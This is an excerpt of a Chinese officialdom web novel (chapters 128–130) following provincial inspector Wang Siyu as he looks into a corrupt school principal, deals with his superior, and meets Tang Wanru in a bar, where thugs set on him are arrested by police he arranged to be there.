★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

[都市]官道之色戒-30

  



第三卷 风起雾隐湖 第128章 隐情
唐婉茹坐在宽大舒适的沙发上,一条腿放在咖啡色茶几上,轻轻地晃来晃去,纤细的高跟鞋尖不时地抖动一下,显得格外的悠闲自得。
隐湖集团有五位总裁助理,但只有唐婉茹一个人能如此清闲,这不止是因为她有一位当区委副书记的姨夫,更重要的是,隐湖集团最近要和外商合作上马的锂电池项目,唐婉茹在其中扮演着极为重要的角色。
美国雷霆公司亚太事务部总监史密斯夫妇,非常欣赏唐婉茹,尤其在得知她仅仅在美国留学两年后,对方就更加惊奇,她竟然能说得一口地道的德克萨斯州土腔,偶尔从口中冒出的几句德州俚语,经常让史密斯夫妇笑得前仰后合,乐不可支。
发完短信后,唐婉茹轻轻吁了一口气,随手将手机丢在茶几上,战书已经下了,现在看的,就是对方敢不敢应战了。
“哒哒哒……”敲门声突然响起,唐婉茹扭过头来,向门口扫了一眼,有些不耐烦地皱皱眉头,抬高声音道:“进!”
总裁办秘书李婷婷推门走了进来,颔首微笑道:“唐助理,总裁问您今天有没有空,下午……”
她的话还没说完,唐婉茹就轻轻摆手,打断了她的发言,“请回复总裁,我这几天都很忙。”
李婷婷愣了一下,目光飞速地在茶几上瞥了一眼,唐婉茹今天穿着一款p金属鞋尖麂皮高跟鞋,深蓝色的鞋面线条优雅流畅,鞋跟与鞋尖都被银白色的金属包裹着,如同锐利的匕首,让人看了不禁有些心惊肉跳,这款鞋子有个著名的广告词,那就是“锋行天下”。
唐婉茹没有再搭理站在门口的李婷婷,她此刻的注意力全部都集中在茶几上那只银白色的手机上,这时机身上传来一阵剧烈的震动,唐婉茹赶忙欠身摸起手机,拿到胸前,低头翻出新到的短信,只见上面写着:“要是处*女我就去!”
李婷婷的话还没有说完,就被对方中途打断,这时见对方皱着眉头看手机,心中难免有些不快,但她是不敢招惹这位作风泼辣的总裁助理,只好皱着眉头轻声道:“好的,唐助理,我知道了。”
她转身走出办公室,轻轻关上房门,走出很远,李婷婷才转头啐了一口,轻声嘀咕道:“有什么了不起的。”
话虽然这么说,但李婷婷心里很清楚,这位无论穿着打扮还是行事风格都有些另类的总裁助理,的确很了不起,虽然刚来集团公司不久,但上上下下对她都很是看重,即便是齐总,也都对她另眼相看,很少忤逆她的意思,以唐婉茹现在的地位,的确有资格在自己面前摆谱。
唐婉茹看着短信微微皱眉,冷笑着抬手打出一行字,按键发了出去。
“嘟嘟……”
王思宇信手按了键,只见短信上面写着:“我不是处*女,你不是男人,是这样吗?”
虽然明知道对方是在激怒自己,但王思宇还是忍不住低低骂了一声,司机听到登时一愣,抬眼在倒视镜中瞄了一眼,发现王思宇正低头按着手机,这才轻轻松了口气,抬手按了几下汽车喇叭,前面那辆装满家具的双排车向边上靠了靠,司机打了下方向盘,轻轻点了脚油门,小车飞快地从两辆车中间钻了出去。
“八点半,不见不散。”
王思宇发完之后就后悔了,赶忙又补发了一条:“谁邀请,谁买单。”
唐婉茹看完短信后,不禁哭笑不得,抬手拂了下额前秀发,摇头叹息道:“小气的男人。”
王思宇当然不会听到唐婉茹的抱怨,他这时的目光正专注地看着前方道边那家“贵妇人皮草专卖商城”,捏着下巴算了算,自己最近的银行卡里的钱应该快到两万了,加上从陈波涛分来的两万块,足以给张倩影买上一件像样的貂皮大衣,只是接下来,估计又要过上一段苦日子了……
二十分钟后,小车停在玉州市中心医院的住院部门口,那位副校长的老伴已经在门口等了半天,王思宇和她站在大门口聊了一会,就随着她去了病房,那位副校长的身子依然很虚弱,但听说省里来人看他,就挣扎着要坐起来,却被王思宇劝住,“杨校长,身体要紧,不要客气。”
“那怎么好啊,您是省里的领导哩,可不好怠慢。”杨副校长握着王思宇的手,脸上洋溢着激动的笑意,轻声道:“刚才电话里说的是真的吗?省委文书记真的知道我的事情了?”
王思宇微笑着点点头,随后坐在椅子上,将夹包打开,把那份有文思远批示的文件找出来,交给杨副校长,杨副校长从床头柜上摸出老花镜,戴上后拿着文件看了又看,不住点头慨叹道:“真是文书记的批示啊,颜筋柳骨,这字写得真好,真好啊……”
这时杨副校长的老伴走过来,拿白瓷缸给王思宇倒了水,递过来后埋怨道:“省里领导多忙哩,你还在说那些没用的干啥,快把事情都讲出来吧。”
王思宇微笑着喝了口水,就拿出笔记本,听杨副校长把事情的经过又都叙述了一遍,和材料上所说的,倒没什么不同,王思宇不禁微微皱眉,停下笔来,轻声提醒道:“杨校长啊,你再仔细想想,有没有遗漏的地方?”
杨副校长怔怔道:“这些还不能证明我是无辜的吗?”
王思宇皱着眉头道:“能是能,但我总觉得你还有事情没讲出来。”
杨副校长听后目光闪烁,刚要开口说话,忽地听到老伴在旁边低低地咳嗽一声,忙抽*动两下鼻子,语气含糊地道:“没了,真没了。”
王思宇转过头来,冲杨副校长的老伴点点头,随后也跟着低低地咳嗽一声,接着笑眯眯地看着她,不说话。
杨副校长的老伴自然知道王思宇的意思,红着脸道:“王主任啊,我们就是想过太平日子,好多事情过去的就算了,只要能给我家老杨恢复工作,那些事情就不要再提了。”
王思宇摇头道:“难得省委书记关注这件事情,你们要不借着机会把问题都讲出来,以后可没这机会了。”
杨副校长的老伴不敢看王思宇的眼睛,垂头道:“我们不求别的,能给老杨恢复工作,报销药费就成。”
王思宇转过头来,轻轻拍了拍杨校长的大手,低声道:“老杨啊,你要有主见啊,我看你可不是怕事的人,死都不怕,还怕说真话吗?”
杨副校长眯着眼睛想了想,终于下定决心,点头道:“我说实话,这是他们在借机打击报复!”
他爱人这是在一边呆不住了,赶忙走过来,低声道:“老头子,你不要再乱说话了,还嫌事情不够多嘛!”
杨副校长没有理会她的劝阻,把事情一五一十地和盘托出,王思宇飞快地在笔记本上做着记录,和他想象中的差不多,案子果然还有隐情。
原来这家小学的校长姓皮,是教育局某领导的直系亲属,在担任校长期间贪了不少钱,杨副校长曾经写过举报信,把他和学校工会主席做的一些事情都写了出来,但举报信后来又被打回到教育局,教育局又把信件打回学校,那位皮校长一看字体,就知道这事是老杨干的,从那以后,在皮校长的刻意刁难下,杨副校长在学校的日子就难过起来。
在上访事件发生之前,还发生了一件事情,这使得皮校长与杨副校长之间的矛盾达到了顶峰,那是一个周五的下午,已经快到下班时间了,杨副校长从洗手间出来,就打算回办公室收拾东西回家,在经过皮校长的办公室门口时,忽地听到里面隐约有女人的哭泣声,他感觉有情况,就硬是砸开了门,结果见音乐组的一位年轻教师衣裳不整地从里面跑出来,那位皮校长当场就发了火,指着杨副校长的鼻子道:“姓杨的,你等着,我一定要整死你,走着瞧吧!”
王思宇听后满脸义愤地低低骂了一声,随后转头对杨副校长的老伴道:“阿姨,我有几句话想跟杨副校长单独谈,请您先回避一下,好吗?”
杨副校长的老伴见他表情严峻,知道是有重要的事情,忙抬手看看表,点头道:“我去食堂打饭,排队要排好久的,你们慢慢谈。”
说罢她拿着饭盒走出房间。
见她开门出去,王思宇转过头来,拿着笔在笔记本上点了点,满脸郑重道:“老杨,你反应的问题很重要,但很多细节说得都不太详细,你把刚才的事情重新描述下,就从听到女人的哭声开始讲,越详细越好,比如说哭声到底是什么样子的,你砸开门时,屋里是什么状况,那位音乐老师的衣裳是怎么个不整法,只有把细节搞清楚了,我们才能对那位皮校长展开调查…”
杨副校长挠了挠脑袋,就闭着眼睛仔细地回忆起来,王思宇捏着下巴听得入神……
临近晌午的时候,王思宇才从杨副校长的病房里走出来,这次的收获颇丰,不但了解到很多‘细节’,更有意外收获,那位皮校长竟然打来电话,言明只要老杨保守秘密,以前的事情他既往不咎,并且许下一大堆好处,老杨赶忙点头答应了,那位皮校长乐颠颠地挂了电话,他要是知道,刚才的讲话都进了王思宇的耳朵,恐怕就不会笑得那么开心了。
下楼以后,王思宇微笑着往医院外面走,正当他马上要走出大门时,忽地转过身来,向院子里一位坐着轮椅的老人望去,那位老人似乎是得了中风,口眼歪斜,手脚抽搐,王思宇怔怔地望着那人,他不正是前青州市市委常委,市委副书记柳翔云吗
仅仅大半年的时间,柳翔云竟似变了个模样,再不是以前那位威风凛凛,铁骨铮铮的派头,不但头发花白,脸上皱纹增多,更是得了这种要命的病症,看起来生活已经很难自理了,王思宇不禁心头一沉,他知道,这位柳副书记如今的状况,恐怕和柳大元的入狱也有干系。
这时,一位身材瘦小的老太太拎着饭盒从食堂里走出来,颤微微地扬起手中的盒饭,冲着轮椅上的柳翔云大声喊道:“老头子,有红烧肉。”
柳翔云颤动着嘴巴笑了笑,嘴里淌出一串清亮的口水,王思宇的双腿如同被钉子牢牢钉在地上一般,竟半晌迈不出步子,直到老太太推着轮椅走过来,王思宇才低下头来,快步走出住院部的大门,在外面的水果摊前站住,从衣兜里掏出一百块钱,买了三箱水果,拉着小贩的手走到大门口,冲柳翔云夫妇指了指,轻声嘱咐几句,那小贩听后连连点头,喜滋滋地搬起水果箱奔了进去。
等柳翔云的老伴踮着小脚追出来的时候,那辆轿车已经开远,大门口只有三五个小孩在踢毽子,再远处,是往来如梭的车辆,以及熙熙攘攘的人流。


第三卷 风起雾隐湖 第129章 猎物
吃过午饭后,王思宇先去了趟“贵妇人皮草专卖商城”,在楼上楼下转了三圈后,终于看中一款非常漂亮的白色豹纹貂皮大衣,在和那位售货员经过接近十几分钟的激烈舌战之后,王思宇以三万五的价格将大衣打了包,之后乐颠颠地驱车赶到邮政局,将大衣装箱邮寄了出去。
赶到玉州市育才实验小学的时候,已经是下午一点半,车子刚刚接近学校,王思宇就觉得情况不对,隔着蓝白相间的p护栏就能看到,学校里站满了一队队排列整齐的小学生,其中靠近门口的地方,还有两排架子鼓方队,系着红领巾的少先队员们站在架子鼓旁东张西望,而几位教师则在队伍里走来走去,不时地吆喝两句。
“莫非今天来的不是时候?”王思宇心头狐疑,微微皱了皱眉,此时小车已经停在学校门口,他这才发现,门口站着十几个人,都穿得西装革履,正站在收发室前翘首以盼,而学校的电子门上贴着用大红纸裁成的横幅,红纸上面的墨迹未干,上面写着:“热烈欢迎省委督查室王主任莅临我校视察工作。”
小车刚刚停下,众人的目光就被吸引过来,这时人群里不知是谁喊了句,“是省委的车!”
大门口顿时响起一阵热烈的掌声,稀稀拉拉的鞭炮声也在伴着掌声响起,之后架子鼓和小号声同时响起,校园里的小学生们在鼓点的伴奏下,整齐地喊着口号:“欢迎,欢迎,热烈欢迎……”
王思宇摸着下巴直摇头,他知道,这肯定是教育局那边有人通风报信,那位皮校长得到了消息,就提前做好了准备,先给老杨打电话安抚人心,再在这边拉开阵势讨好自己,打算蒙混过关。
其实王思宇猜的到都对,只是不完全,玉州市教育局领导在得知他要来小学调查后,哪里敢怠慢,王思宇赶到医院那会,教育局的工作人员就火速赶到育才实验小学,负责和校方一起安排接待工作,王思宇初到省委督查室,还没有切身的体会,哪里会知道他这个副主任在下面的人眼里,是多么重要的一个官员。
见众人面带笑容,鼓掌走过来,王思宇的眉头皱得更紧些,他没有下车,而是板着面孔叫过司机,轻声交代几句,司机点点头,拉开车门走了下来,关上车门后向前走了两步,就停下来,抱着膀子站在车前,冷着脸冲人群中喊道:“你们这里谁是领导?”
玉州市教育局的那位科长本来走在最前面,一直抢在皮校长的身前,这时发现司机面色不善,知道有情况,赶忙停下脚步,转身向满脸堆笑的皮校长使了个眼神,皮校长心里也知道要坏事,赶忙硬着头皮走上去,讪讪地笑道:“我就是,我是校长。”
这位司机也是见惯大场面的人,加上难得王主任赏识,给了他一次耀武扬威的机会,所以这厮的架子就端得比厅级干部都大,身上气势很足,说话也很冲,对着皮校长指指点点,劈头盖脸就是一顿呵斥:“你们在搞什么?谁允许你们搞欢迎仪式的?省委省政府三令五申,嗯啊,总之,王主任现在非常生气,请你们马上把人都撤了,马上恢复正常的上课秩序。”
皮校长听了半天也没搞明白,省委省政府到底三令五申啥了,但王主任现在非常生气他是听明白了,这还得了,他顿时慌了神,顾不得面子,转身就是一溜小跑,奔回学校门口,叉腰冲着里面挥着手,大声喊道:“撤了,撤了,赶快撤了,班主任赶紧组织学生回去上课,要快……”
他话音刚落,早已等得不耐烦的学生们顿时如遭大赦,如潮水般地向教学楼里涌去,不到五分钟的功夫,操场上就变得空空荡荡,只剩下门口这十几个人,面面相觑地站在那里。
司机神气十足地在门口转了一圈,才慢悠悠地走回小车旁边,拉开车门,对王思宇轻声道:“主任,成了。”
王思宇这才下了车,面带微笑地走过去,冲着神色尴尬的众人道:“大伙辛苦了。”
众人见他脸上神色如常,并没有责怪的意思,不禁都暗自松了一口气,大家在心里把教育局的那位科长使劲骂了一顿,本来嘛,在商量接待方式的时候,众人觉得还是简单些的好,不要耽误学生上课,可那位科长非得起高调,一定要搞得隆重些,这才搞出刚才那场闹剧,结果人家省里的领导还不领情,这不是出力不讨好嘛。
皮校长这个时候总算是喘匀了一口气,偷偷擦汗后,带头向前走去,隔着几步远就伸出右手,满脸谄媚的笑道:“欢迎王主任来学校检查工作。”
王思宇迎上一步,轻轻地跟他握了下手,接下来,在他的引见下,一路握了下去,先前那几人都是一带而过,走着走着,王思宇在一位颇有姿色的女教导主任面前停下脚步,热情地握着对方的手摇了又摇,一阵嘘寒问暖,把来自省委办公厅的亲切关怀,都化作春风雨露,播撒在这位年轻女教师的心坎里,众人都陪着笑脸站在旁边,足足聊了两三分钟,王思宇才恋恋不舍地松开手,在众人的簇拥下,走进校园。
校长办公室里,王思宇先是面带微笑地听了二十几分钟的教学成果汇报会,接着就开始办正事,他把校领导都支开,先把那十几位上访教师分别叫来,做了询问笔录,随后又把老杨在医院里提到的那位音乐老师找来,打听了下那天发生的情况是否属实,结果那位老师态度坚决,矢口否认,据不承认曾经受过校长的猥亵非礼,对此,王思宇也是无可奈何。
下午三点钟的时候,王思宇总算把情况都摸了一遍,便在众人的陪同下,走出校园,来到车边后,王思宇和众人握手话别,当轮到那位年轻漂亮的女教导主任时,王思宇发觉她的神态有些异常,两人刚刚握手,王思宇就清晰地感觉到,对方滑腻的掌心里握着一张小纸条,王思宇轻轻将小纸条勾到自己的掌心里,随即微笑着点点头,若无其事地坐上车,摇开车窗,向众人挥挥手,就收回手臂,安稳地坐在后座上闭目养神。
几分钟后,王思宇缓缓睁开双眼,瞟了一眼司机,见他正全神贯注地开车,忙小心翼翼地打开纸条,低头望去,只见纸条上面写着:“很希望能和您交个朋友。”
看着上面留的手机号码和一个鲜红的唇印,王思宇轻笑一声,拿手将纸条撕碎,将胳膊伸出窗外,摊开手掌,纸屑便向后飞了出去。
他当然知道,只要自己拨通这个号码,这位漂亮的女教师就会主动投怀送抱,在自己的身下婉转承欢,但王思宇更加清楚,她之所以这样做,无非是想从自己这里索取到现实的好处,这种感觉让王思宇对她之前的好感荡然无存,最重要的是,她无法让王思宇体会到那种猎艳的快乐。
回到省委督查室后,王思宇把材料重新整理了一遍,过了二十几分钟,督查二科副科长朱良玉笑吟吟地敲门进来,他已经将刘丹成等人从各部门搜集到的情况进行了汇总,两人就在办公室里又重新对案情进行了梳理分析,修正了上午做出的工作计划,决定将最新发现的情况向玉州市纪委监察局通报,请他们尽快侦办,将这个案件一分为二,平行作业,齐头并进。
方案敲定后,朱良玉主动请缨,大包大揽,请求王思宇将案件的协调工作交给他,他有信心在本周内呈交报告,王思宇心里非常清楚,上午和方如镜的巧遇,让这位朱副科长产生了某种想法,这当然也是好事,王思宇笑眯眯地点头同意,起身离开椅子,给他沏了杯茶,随后轻轻拍了拍朱良玉的肩头,两人相视而笑,一切尽在不言中。
下班前半个小时,王思宇突然接到了顶头上司梁桂芝的电话,这让他很是惊讶了一次,要知道,这段时间以来,梁桂芝对他的态度极为冷漠,即便是有事,也是叫秘书来通知,从来没有亲自打来电话,王思宇从她那舒缓的语气中,敏锐地捕捉到和解的信号,挂断电话后,王思宇没有迟疑,赶忙收拾好材料,夹包走进梁桂芝的办公室。
进屋后,王思宇瞥了眼坐在办公桌后面的梁桂芝,发现她今天的气色很好,那张瓜子脸上挂着和煦的微笑,嘴角也勾出一个上翘的弧度,不用问,肯定是遇到好事了。
两人打过招呼,王思宇坐到沙发上,瞥见茶几上的热茶,就更加断定,梁桂芝是要打破冷战,缓和与自己之间的关系,虽然还不清楚她为什么会这么做,但和解总归是好事,可以免去很多麻烦。
在梁桂芝的注视下,王思宇稳稳地端起那杯热茶,轻轻吹了口气,端到嘴边,浅浅地品上一口,轻声赞道:“好茶。”
梁桂芝心领神会,脸上的笑意更浓了些,摆弄着手中的签字笔道:“王主任,最近督查室里的人手不足,你要辛苦几天,把下面的工作抓好,遇到什么困难,可以随时找我。”
又是一个明确无误的信号,王思宇将手中的茶杯放回茶几上,微笑着点点头,接着打开夹包,拿出笔记本来,把今天的调查情况向梁桂芝做了简单扼要的汇报。
梁桂芝听后先是夸赞了几句,随后深深地看了王思宇一眼,意味深长地道:“王主任,在下面办案,一定要注意工作的方式方法,要考虑到市里同志的感受,多征求他们的意见,这件案子在办会前,最好能给市委办公室做个通报,先听听他们那边的看法,当然,该坚持的原则还是要坚持的……”
通过观察王思宇的表情,梁桂芝确认他已经清楚自己的意思后,抬手扶了扶眼镜,顿了一下,转动着手里的签字笔,手上的动作停止时,话锋忽地一转,压低声音道:“十二月份上旬,督查室有个党建工作的专题讲座,我们准备邀请几位省委领导参加,省委孟副书记那边,就由你负责邀请,怎么样,没问题吧?”
王思宇望着梁桂芝笑眯眯的面孔,登时醒悟,想必她也认为自己和焦大秘有某种特殊的关系,这才将邀请孟副书记的任务分派到自己头上,这就让王思宇有些左右为难,他知道,这种事情是没法解释清楚的,倘若自己说和焦大秘不熟,可能会让梁桂芝误以为自己不合作,而一口应承下来,假如到时候孟副书记没有到场,事情可能会更严重,毕竟从梁桂芝的坐姿,语气和神态上来看,她是极重视这件事情的,恐怕今天能对自己发出和解信号,多半也与此有关,想到这,王思宇觉得为今之计,只能硬着头皮答应下来,说实话,他也早该去见见那位焦大秘了。
“好,我尽力。”面对梁桂芝殷切的目光,王思宇不露声色地回了一句。
梁桂芝笑眯眯地点点头,握着手中的签字笔,轻轻地敲打着桌面,加重语气道:“这件事要当做大事来办,王主任,辛苦你了。”
在这种紧要关头,如果能邀请到省委重量级常委到督查室来视察,无疑能为她竞争省委副秘书长造势,这是一种巧妙的加分手段,梁桂芝自然非常看重。
两人聊了一会,就到了下班时间,王思宇微笑着拾起夹包,走到门口,眼角的余光瞥向办公桌后,发现梁桂芝的脸色瞬间冷却下来,他立时反应过来,梁桂芝对自己的态度,并没有根本性的改变,这次应该是事出有因,对方只是寻求暂时的妥协,并没有改善关系的诚意,要想取得真正的和解,恐怕还需要查到问题的源头,找出梁桂芝对自己有看法的真正原因,那样才能对症下药。
但如何查起呢,对这位顶头上司,当然不能像对付唐婉茹那样,使用调查公司,看来,要想找到事实的真相,还需要耐心等待一段时间,除此之外,别无他法。
回到家里,王思宇把夹包丢到沙发上,走到窗前,燃起一根烟,现在脑海中考虑的,就不是工作上的事情了,而是如何应付另外一个难缠的女人,唐婉茹邀请自己去酒吧,当然不是为了去调情,十有八九是设计好圈套,等着自己去钻。
不过面对唐婉茹的挑衅,王思宇的心中竟隐隐有种莫名的兴奋,这个女人还真是够劲,很容易挑逗起男人隐秘的欲望,真是个不错的猎物,只不过,要想征服这匹桀骜不驯的胭脂马,恐怕没有那么容易,搞不好,还会被她一脚踢下悬崖,但越是这样,就越是刺激,王思宇已经有些迫不及待了,这时,衣兜里的手机忽地传来剧烈地震动,他赶忙掏出来,翻出最新收到的短信,只见上面写着:“来吧,男人,玩死我,或者,被我玩死。”


第三卷 风起雾隐湖 第130章 诱饵
晚上七点半,夜幕就已悄悄降临,喧嚣的城市却没有随着白昼的离去而有片刻的安宁,每个这样的夜晚,无数红男绿女都如同一尾尾深海中的游鱼,纷纷浮上水面,钻入一张张由欲望织就的渔网中,在酒精的刺激下,迷失在劲爆的音乐和热辣的舞姿里。
在玉州城的大街小巷里,无数霓虹灯依次点亮,绚丽的灯光编织着梦幻般的夜晚,将这座由钢筋水泥铸成的丛林打扮得靓丽多姿,飘香的咖啡厅,微醺的酒馆,躁动不安的迪吧,都在挑逗着人们压抑已久的欲望,空气中弥漫着一股纸醉金迷的味道。
八点钟,位于东湖区汉江西路的苏荷酒吧,准时开门营业,门口穿着红色旗袍的礼仪小姐一路排开,向三五成群的上帝送上甜美的微笑,而两个姿态悠闲的保安正站在门边窃窃私语,这时,两辆越野车呼啸着冲出辅道,在锐利的尖啸声中停在门边,车门几乎是同时打开,齐刷刷走下六七个男人。
两个保安皱着眉头向这些人望去,表情瞬间变得紧张起来,两人对视一眼,其中一个保安赶忙转身奔入酒吧里,而另一个则把目光转向别处,这时那些人已经走到跟前,一个嘴里叼着半截烟头的年轻人伸手拍了拍他的脸,吐出嘴里的烟,把嘴巴凑到保安的耳边,轻声道:“来玩的,别害怕。”
保安没吭声,任凭着这人在他的脸颊上捏了一把,随后趾高气扬地走进酒吧,这才长出了一口气,他知道,今天晚上要出状况了,赶忙掏出手机,拨了个号码,接通后,低声道:“喂,娜娜,今天晚上要晚点回去,喂,喂,我真没在外面鬼混,真的,你听我解释……”
这几个人在酒吧中间捡了两个散台坐下,刚刚坐好,服务生就端来几瓶洋酒和两个大果盘,随后一个穿着中山装的中年男子在几名保安的陪同下走过来,微笑着对其中两人道:“老兵哥,蚊子老弟,今天怎么有空到这来玩啊。”
那位被称作老兵的男人,是位三十几岁的中年汉子,上身穿着一件夹克衫,下身穿着洗得有些发旧的军裤,他抬眼望了穿中山装的男子一眼,伸手从盘子里抓过一把瓜子,嘿嘿笑了声,沉声道:“过来玩玩,咋了,强子,不欢迎啊?”
“那哪能呢,欢迎,当然欢迎。”穿中山装的男人搓了两下手,拿目光瞄向老兵旁边那个面皮白净的年轻人,微笑道:“蚊子老弟,好久不见。”
那个绰号蚊子的年轻人点点头,“是有日子没见了,怪想你的,过来看看。”
强子转过身,从一个保安手里接过皮包,打开后抽出一个沉甸甸的信封,轻轻地丢在桌子上,微笑道:“老兵哥,蚊子老弟,这是老板的一点小心意,请收下。”
老兵坐在椅子上没吭声,蚊子接过信封,随手揣进衣兜里,嘿嘿干笑了两声,点头道:“你家老板仗义,够爽快,强子,替我谢谢他,祝他生意兴隆,发财发财。”
强子听后面带微笑,从旁边拉过一把椅子,坐在桌边,抬手在桌子上敲打几下,压低声音道:“老兵哥,蚊子老弟,两位给我强子透个实底,是来玩的还是办事的。”
老兵依旧没有抬头,专心磕着瓜子,蚊子瞥了他一眼,轻声道:“办事!”
强子的笑容就有点冷,皱着眉头道:“两位老大,咱这开门做生意的,就怕出事,能不能给个面子,换个地方。”
老兵这时把手里的一把瓜子扬在地上,抬起头来,摇头道:“不行。”
强子听后把领口的扣子解开两粒,微笑道:“老兵哥,别坏了规矩啊。”
老兵拍了拍手,拿起茶杯一饮而尽,抽抽鼻子,沉声道:“没事,收拾个小杂鱼,动静不大,耽误不了你做生意,九点半你把音响放大点就行了。”
强子皱着眉头盯着他道:“在哪动?见血不?”
老兵点点头,拿手向角落一指,低声道:“见血,在卡座动手。”
强子听后脸色更加难看,愁眉紧锁道:“不好吧,见血事情就闹大了,这么着,要多少钱老兵哥你说个数,兄弟找老板再说说,花钱买个太平,成不?”
老兵笑了笑,摇头道:“不是钱的问题。”
强子没有办法,只好笑了笑,轻声道:“那你们玩好,我去安排下,不过我可提醒两位大哥,该做的我可都做了,不管今晚发生什么事,都怪不到我的身上。”
听他这么说,老兵微微皱眉,抬眼打量了下强子,见他目光闪烁,正要发问,强子旁边的一位保安突然走到强子身边,轻声道:“强子哥,老板还在外面等你呢。”
强子叹了口气,抱拳道:“几位玩好,我有急事,先走一步。”
那位绰号叫蚊子的年轻人撇撇嘴,满脸不屑地道:“能有什么事,瞎咋呼。”
老兵望着强子离去的背影,摸了半天的下颌,轻声道:“一会机灵着点。”
众人都点点头,暗想七八个人还收拾不了一个小杂鱼,那还真没法在道上混了,没谁把他的话真当回事。
二十分钟以后,一辆黑色的哈雷摩托车从远处呼啸着驶来,骑在摩托车上的女人穿着红色的机车夹克,下身套着黑色皮裙,长腿上那网状的丝袜,吸引了许多司机的眼球,所到之处,轿车喇叭声不断。
转过辅道后,摩托车在苏荷酒吧门口嘎然停下,唐婉茹摘下头盔,丢给保安,将车子锁好后,迈步向酒吧里走去,走到角落卡座的位置,点了啤酒和果品,就将一双腿放在桌子上,悠闲地听着舒缓的音乐。
酒吧里的灯光忽明忽暗,这时人已渐渐多了起来,唐婉茹抬手看了看时间,不禁微微皱眉,从手中掏出银白色的手机,刚刚按了几个字出来,耳边传来一声轻轻的咳嗽,抬眼时,只见一身休闲的王思宇出现在面前,笑吟吟地坐下,唐婉茹嘴角微微上扬,露出一丝微笑,目光却异常冰冷,如锥子般地盯着王思宇的面容,抛出一瓶啤酒,轻声道:“喝酒。”
在喝了两瓶啤酒后,王思宇皱着眉头,把在医院里遇到杨慧慧一家人,以及因此和柳大元发生冲突的事情讲了一遍,他没有讲到柳大元雇人刺伤自己的事情,因为那件事情,想必唐婉茹早已知道了,他只讲了前因,当然,不是为了取得唐婉茹的理解,而是觉得这件事情有必要让唐婉茹知道,让她明白,她的丈夫究竟做了些什么。
十分钟后,王思宇停止了叙述,而唐婉茹脸色潮红,摇头道:“没有用的,生活就像多棱镜,我们的角度不同,看到的东西自然不一样,大元在你们眼里可能是大恶人,在家里,他永远是好丈夫,好父亲,你毁了他,我就要毁了你。”
王思宇皱眉道:“说吧,怎么个玩法?”
唐婉茹笑了笑,缓缓抽回放在桌子上的双腿,摇了摇手中的酒瓶,把头凑到王思宇耳边,轻声道:“首先,要让你也尝尝当众挨打的滋味,我要亲眼看你被人踩在脚下,跪地求饶的样子。”
王思宇冷笑着夺过她手中的酒瓶,咕咚咕咚地将里面的啤酒一饮而尽,随后也将身子向前倾去,凑到唐婉茹的耳边,望着那摇摇摆摆的珍珠耳坠,轻声道:“那恐怕要让你失望了,跪地求饶的事情,要去找你老公,他干这事最拿手。”
唐婉茹稍稍转动下白皙挺直的颈项,嘴唇凑到王思宇的耳边,咬牙切齿道:“嘴硬是没有用的,还要看骨头硬不硬。”
王思宇笑了笑,继续道:“不光骨头硬,全身上下哪都硬,要不要试试?”
唐婉茹冷笑道:“那要看你有没有真本事,你就不怕我趁机切了你?”
王思宇抬手捏住那耳坠,叹气道:“只怕你到时候舍不得。”
唐婉茹深深地吸了一口气,又将温热的气息喷在王思宇的耳朵上,轻声道:“嘘!你想得太远了,还是先想想怎么走出这间房间吧。”
“这个不必担心。”王思宇笑了笑,伸出手指,弹了下耳坠,将身子收了回去,伸手挽起袖口,冲着前方的一位服务生喊道:“来一打啤酒!”
唐婉茹微笑着掏出钱包,将一张银卡递到服务生手里,冲着王思宇冷冷地道:“我劝你喝洋酒,那个醉得快,皇家礼炮怎么样?”
王思宇从兜里摸出一根烟,点着后吸上一口,嘴里吐出飘渺的烟圈,盯着那游离不定的烟雾道:“只要啤酒,国产的啊。”
几分钟后,在全场的欢呼声中,吧台上的礼花般的灯光骤然闪起,酒吧里的气氛顿时热烈起来,吧台中央的调酒师一边表演着令人眼花缭乱的花式调酒,一边举起酒瓶,娴熟地拨动着悬挂在头顶的灯柱,让它不停地前后摆动,在迷离闪烁的灯光中,酒吧里的音量也骤然提高了许多,劲爆的音乐,激昂的人群,吧池里满是纵情摇摆的身体,尖叫和掌声如潮水般涌起,嘈杂的声浪在电吉他和电贝司的伴奏下,达到了顶点,到处都是震耳欲聋的声响。
在黑暗中,没有人注意到,后面的卡座里出了状况,由于临近的位子已经被提前清空,所以只有在附近游弋的保安才能听到小木桌粉碎的声音,还有啤酒瓶在额头炸裂的响声,几分钟后,两个黑影从地上呻吟着爬了出去,王思宇把手中的半截酒瓶丢下,抹了把鼻血,冲着唐婉茹笑笑,大声喊道:“真对不起,唐小姐,让你失望了!”
唐婉茹虽然听不到声音,但从对方的口型,已经猜到了王思宇的语句,冷笑着道:“别高兴得太早,今晚的游戏才刚刚开始!”
“你错了,今晚的游戏已经结束了!”
王思宇摸出手机,拨了个号码,打出去后,笑眯眯地抱头躺在沙发椅上,唐婉茹愣愣地盯着面前的男人,有些不知所措,就在这时,震耳欲聋的音乐声忽地停止,照明灯却突然亮了起来,在众人不解的哗然声中,一群着装民警从外面冲了进来,不大一会,老兵等人哭丧着脸被带到卡座边上,身着保安服装的前进派出所副所长刘天成笑眯眯地走过来,凑到王思宇耳边低声道:“这女的要不要带走?”
王思宇的神情有些冷淡,摇头道:“不用,刚才你去哪了?”
“娜娜来了电话!”刘天成挥动了下手机,赶忙灰溜溜地逃走,他当然看得到,王思宇的手上还带着血迹,显然是受了伤。
唐婉茹板着面孔见警察押着那几个人走出酒吧,盯着王思宇看了半天,摇头道:“你居然叫警察?”
王思宇从沙发上坐起来,愣愣地望着她道:“有什么问题吗?不都说有困难找警察吗?不找警察难道还找黑社会?”
唐婉茹听后一副恍然大悟的模样,笑眯眯地道:“你说得对。”
接着,抬手去摸啤酒瓶,王思宇很清楚她要做什么,伸出手去,一把拉住她的手腕,“尊敬的唐婉茹小姐,一起去跳个舞吧。”
唐婉茹用力挣脱掉王思宇的掌握,冷冷地道:“对不起,本人今天没这个心情。”
接着从沙发上站起,转身向外走去。
王思宇摸着鼻梁轻声嘟囔道:“我不会放过你的,咱们走着瞧。”
果然,在走了几步后,唐婉茹停下脚步,转头瞥了王思宇一眼,恨恨地道:“我不会放过你的,咱们走着瞧!”
王思宇闭上眼睛,拿手捂住脸,呻吟一声道:“能不能换句台词。”
伴着门外摩托车的轰鸣声,酒吧里强光熄灭,在霓虹灯的闪烁下,音乐再次响起,狂欢的人群似乎已经忘记了刚才的一幕,继续在吧池中纵情宣泄着,一个披散着长发的歌手站在舞台中央,声嘶力竭地演唱着英文歌曲,黑暗中,无数只手在空中挥舞着,酒吧里的气氛再次达到沸点。
